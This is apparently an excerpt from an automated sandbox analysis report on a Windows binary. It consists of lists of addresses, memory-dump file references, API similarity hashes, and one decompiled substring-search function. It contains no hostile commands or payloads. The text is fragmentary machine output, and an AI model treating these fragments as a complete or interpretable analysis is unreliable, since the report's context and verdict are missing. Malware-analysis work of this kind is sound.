                                                                                                        0x6fc7120a
                                                                                                        0x6fc71186
                                                                                                        0x6fc7118c
                                                                                                        0x6fc71194
                                                                                                        0x00000000
                                                                                                        0x6fc71194
                                                                                                        0x6fc71152
                                                                                                        0x6fc71153
                                                                                                        0x6fc7115b
                                                                                                        0x6fc71168
                                                                                                        0x6fc71170
                                                                                                        0x6fc71179
                                                                                                        0x6fc7117e
                                                                                                        0x6fc7117e
                                                                                                        0x00000000
                                                                                                        0x6fc71153
                                                                                                        0x6fc7113a
                                                                                                        0x6fc711d1
                                                                                                        0x6fc711d1
                                                                                                        0x6fc711d8
                                                                                                        0x6fc711e5
                                                                                                        0x6fc711ea
                                                                                                        0x6fc711ef
                                                                                                        0x6fc711f5
                                                                                                        0x6fc711fb
                                                                                                        0x6fc711fb
                                                                                                        0x00000000
                                                                                                        0x6fc711d8
                                                                                                        0x6fc71140
                                                                                                        0x6fc71143
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71149
                                                                                                        0x6fc7114c
                                                                                                        0x6fc7119b
                                                                                                        0x00000000
                                                                                                        0x6fc7119b
                                                                                                        0x6fc7114f
                                                                                                        0x6fc71150
                                                                                                        0x6fc71183
                                                                                                        0x00000000
                                                                                                        0x6fc71183
                                                                                                        0x00000000
                                                                                                        0x6fc711ba
                                                                                                        0x6fc711ba
                                                                                                        0x00000000
                                                                                                        0x6fc711c3

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.659624848.000000006FC71000.00000020.00020000.sdmp, Offset: 6FC70000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.659611892.000000006FC70000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.659642183.000000006FC73000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.659649861.000000006FC75000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: Global$Free$Alloc
                                                                                                        • String ID:
                                                                                                        • API String ID: 1780285237-0
                                                                                                        • Opcode ID: 8a1f71758f81ba8d1aed71018339f14d78704d621e379a6b279709f17bde4e11
                                                                                                        • Instruction ID: 7064369f1529c54436b78b0de7f13e20bb6ebdbfaf4d48ee34a162642e781b4e
                                                                                                        • Opcode Fuzzy Hash: 8a1f71758f81ba8d1aed71018339f14d78704d621e379a6b279709f17bde4e11
                                                                                                        • Instruction Fuzzy Hash: 6E31E4B1504656EFEB318F7CD9A9A657FF9FB06260B04411AEA44CA250FF34F910CB20
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E004057B2(CHAR* _a4, CHAR* _a8) {
                                                                                                        				int _t10;
                                                                                                        				int _t15;
                                                                                                        				CHAR* _t16;
                                                                                                        
                                                                                                        				_t15 = lstrlenA(_a8);
                                                                                                        				_t16 = _a4;
                                                                                                        				while(lstrlenA(_t16) >= _t15) {
                                                                                                        					 *(_t15 + _t16) =  *(_t15 + _t16) & 0x00000000;
                                                                                                        					_t10 = lstrcmpiA(_t16, _a8);
                                                                                                        					if(_t10 == 0) {
                                                                                                        						return _t16;
                                                                                                        					}
                                                                                                        					_t16 = CharNextA(_t16);
                                                                                                        				}
                                                                                                        				return 0;
                                                                                                        			}






                                                                                                        0x004057be
                                                                                                        0x004057c0
                                                                                                        0x004057e8
                                                                                                        0x004057cd
                                                                                                        0x004057d2
                                                                                                        0x004057dd
                                                                                                        0x00000000
                                                                                                        0x004057fa
                                                                                                        0x004057e6
                                                                                                        0x004057e6
                                                                                                        0x00000000

                                                                                                        APIs
                                                                                                        • lstrlenA.KERNEL32(00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057B9
                                                                                                        • lstrcmpiA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057D2
                                                                                                        • CharNextA.USER32(00000000,?,?,00000000,000000F1,?), ref: 004057E0
                                                                                                        • lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057E9
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: lstrlen$CharNextlstrcmpi
                                                                                                        • String ID:
                                                                                                        • API String ID: 190613189-0
                                                                                                        • Opcode ID: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
                                                                                                        • Instruction ID: 042c172281cf084eebf1820456e7eb749b121a10276c912c68532230cfd8689c
                                                                                                        • Opcode Fuzzy Hash: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
                                                                                                        • Instruction Fuzzy Hash: BBF0A736249D51DBC2029B295C44E6FBEA4EF95355F14057EF440F3180D335AC11ABBB
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%